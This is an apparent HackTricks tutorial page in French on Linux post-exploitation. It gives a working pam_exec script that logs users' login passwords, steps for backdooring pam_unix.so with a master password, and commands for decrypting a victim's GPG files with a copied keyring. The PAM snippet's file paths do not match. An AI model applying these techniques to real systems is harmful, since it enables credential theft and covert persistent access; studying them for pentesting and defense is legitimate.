Post-exploitation sous Linux

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Sniffing des mots de passe de connexion avec PAM

Configurons un module PAM pour enregistrer chaque mot de passe utilisé par les utilisateurs lors de la connexion. Si vous ne savez pas ce qu’est PAM, consultez :

PAM - Pluggable Authentication Modules

Pour plus de détails, consultez l’article original. Ceci n’est qu’un résumé :

Présentation de la technique : Pluggable Authentication Modules (PAM) offrent une flexibilité dans la gestion de l’authentification sur les systèmes Unix. Ils peuvent renforcer la sécurité en personnalisant les processus de connexion, mais présentent aussi des risques s’ils sont mal utilisés. Ce résumé décrit une technique pour capturer des identifiants de connexion en utilisant PAM, ainsi que des stratégies d’atténuation.

Capture des identifiants :

  • Un script bash nommé toomanysecrets.sh est créé pour enregistrer les tentatives de connexion, capturant la date, le nom d’utilisateur ($PAM_USER), le mot de passe (via stdin) et l’IP de l’hôte distant ($PAM_RHOST) dans /var/log/toomanysecrets.log.
  • Le script est rendu exécutable et intégré à la configuration PAM (common-auth) en utilisant le module pam_exec.so avec des options pour s’exécuter silencieusement et exposer le token d’authentification au script.
  • Cette approche montre comment un hôte Linux compromis peut être exploité pour enregistrer discrètement des identifiants.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Pour plus de détails, consultez l’article original. Ceci n’est qu’un résumé :

Le Pluggable Authentication Module (PAM) est un système utilisé sous Linux pour l’authentification des utilisateurs. Il fonctionne sur trois concepts principaux : nom d’utilisateur, mot de passe, et service. Les fichiers de configuration pour chaque service se trouvent dans le répertoire /etc/pam.d/, où des bibliothèques partagées gèrent l’authentification.

Objectif : Modifier PAM pour permettre l’authentification avec un mot de passe spécifique, contournant le mot de passe réel de l’utilisateur. Cela vise en particulier la bibliothèque partagée pam_unix.so utilisée par le fichier common-auth, qui est incluse par presque tous les services pour la vérification des mots de passe.

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • La ligne responsable de vérifier le mot de passe d’un utilisateur appelle pam_unix.so.
  1. Modify Source Code:
  • Ajoutez une instruction conditionnelle dans le fichier source pam_unix_auth.c qui accorde l’accès si un mot de passe prédéfini est utilisé ; sinon, le processus d’authentification habituel est poursuivi.
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • L’accès est accordé sur divers services (login, ssh, sudo, su, screensaver) avec le mot de passe prédéfini, tandis que les processus d’authentification normaux restent inchangés.

Tip

Vous pouvez automatiser ce processus avec https://github.com/zephrax/linux-pam-backdoor

Déchiffrement de GPG loot via homedir relocation

Si vous trouvez un fichier chiffré .gpg et le dossier ~/.gnupg d’un utilisateur (pubring, private-keys, trustdb) mais que vous ne pouvez pas déchiffrer à cause des permissions/verrous du homedir GnuPG, copiez le keyring dans un emplacement accessible en écriture et utilisez-le comme GPG home.

Erreurs typiques que vous verrez sans cela : “unsafe ownership on homedir”, “failed to create temporary file”, ou “decryption failed: No secret key” (parce que GPG ne peut pas lire/écrire le homedir original).

Flux de travail :

# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Si le matériel de la clé secrète est présent dans private-keys-v1.d, GPG déverrouillera et déchiffrera sans demander de passphrase (ou il demandera si la clé est protégée).

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks